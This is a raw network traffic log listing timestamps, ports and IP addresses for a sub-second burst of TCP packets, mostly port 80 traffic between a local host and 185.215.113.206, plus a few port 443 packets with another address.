Dec 6, 2024 18:45:50.630172014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.631169081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.632020950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.632075071 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.632244110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.632256031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.632297993 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.633260012 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.633306980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.633307934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.634371996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.634418964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.634959936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.635541916 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.635586023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.635812998 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.635858059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.636529922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.637059927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.637099028 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.637878895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.638268948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.638315916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.638667107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.638679028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.638720989 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.639730930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.639774084 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.639951944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.640166998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.640897989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.640908957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.640948057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.640948057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.641880035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.642225027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.642282963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.642910004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.643095016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.643141985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.644062996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.644100904 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.644388914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.645143032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.645190001 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.645492077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.646181107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.646241903 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.646279097 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.647205114 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.647228956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.647257090 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.647270918 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.648308039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.648911953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.648953915 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.649425030 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.649436951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.649477005 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.650779009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.650790930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.650818110 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.650846958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.651546955 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.651588917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.651627064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.651660919 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.652673960 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.652764082 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.652805090 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.653733969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.653882027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.653923035 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.654798985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.654840946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.654961109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.655869961 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.655915022 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.656352043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.656919003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.656960964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.656976938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.657012939 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.657931089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.657973051 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.658312082 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.658349991 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.659071922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.659082890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.659117937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.660135984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.660207033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.660248041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.661165953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.661205053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.661369085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.662324905 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.662368059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.662610054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.663355112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.663400888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.663465977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.663512945 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.664623976 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.664634943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.664668083 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.665496111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.666373014 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.666414022 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.666567087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.666579008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.666605949 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.666630030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.667615891 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.667661905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.668191910 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.668710947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.668723106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.668751001 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.668780088 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.669807911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.669991970 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.670033932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.670844078 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.671116114 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.671152115 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.671976089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.672015905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.672415018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.673034906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.673046112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.673074007 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.673099995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.674098015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.674261093 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.674300909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.675162077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.675309896 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.675347090 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.676227093 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.676568031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.676604033 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.677294970 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.677334070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.677395105 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.678350925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.678390980 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.705544949 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.705588102 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.723279953 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.723290920 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.814789057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.814914942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.815084934 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.815143108 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.815326929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.815340996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.815381050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.815406084 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.816334009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.816379070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.816886902 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.817002058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.817404032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.817490101 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.817739964 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.817780972 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.818770885 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.818814039 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.819137096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.819178104 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.819556952 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.819569111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.819600105 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.820682049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.820738077 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.820827007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.820899963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.821799994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.821847916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.821975946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.822031021 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.822796106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.822841883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.822906971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.822949886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.823925972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.823929071 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.823971987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.824940920 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.824985981 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.825120926 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.825983047 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.826023102 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.826390982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.827157021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.827167988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.827245951 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.828195095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.828238964 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.828280926 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.829216003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.829255104 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.829443932 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.829493999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.830298901 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.830337048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.830517054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.831331015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.831412077 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.831774950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.832165003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.832489967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.832551956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.832591057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.833489895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.833570004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.833605051 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.834553957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.834594011 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.834935904 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.835639954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.835680962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.835886002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.836158991 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.836884022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.837804079 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.837816000 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.837826967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.837847948 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.837881088 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.838908911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.839380980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.839422941 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.839932919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.839973927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.840109110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.840163946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.840992928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.841032028 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.841902018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.841938019 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.842096090 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.842133999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.842222929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.842259884 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.843170881 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.843182087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.843209028 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.843221903 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.844230890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.844393969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.844429016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.845319986 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.845606089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.845649958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.846374035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.846415043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.846787930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.847471952 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.847513914 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.847526073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.848160982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.848558903 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.848807096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.848850012 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.849617958 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.849800110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.849838972 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.850686073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.850723982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.851550102 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.851732016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.851772070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.851855993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.852164030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.852788925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.852838039 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.853075981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.853663921 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.853935957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.854254007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.854290962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.855015993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.855029106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.855067968 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.856065035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.856105089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.856277943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.857089996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.857125044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.857490063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.858211994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.858254910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.858284950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.858321905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.859276056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.859688997 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.859725952 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.860358000 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.860907078 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.860945940 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.861377954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.861963987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.862001896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.862515926 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.862551928 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.863528967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.863574982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.863708973 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.863720894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.863745928 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.863760948 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.864618063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.864729881 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.864769936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.865679026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.866163969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.866204023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.866811991 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.866854906 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.866940022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.867027998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.867845058 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.868165016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.868172884 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.868206978 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.868908882 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.869080067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.869119883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.869966984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.870517015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.870559931 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.870982885 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.872167110 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.936896086 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.936916113 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.936932087 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.937180042 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.937201977 CET	443	49824	150.171.27.10	192.168.2.6
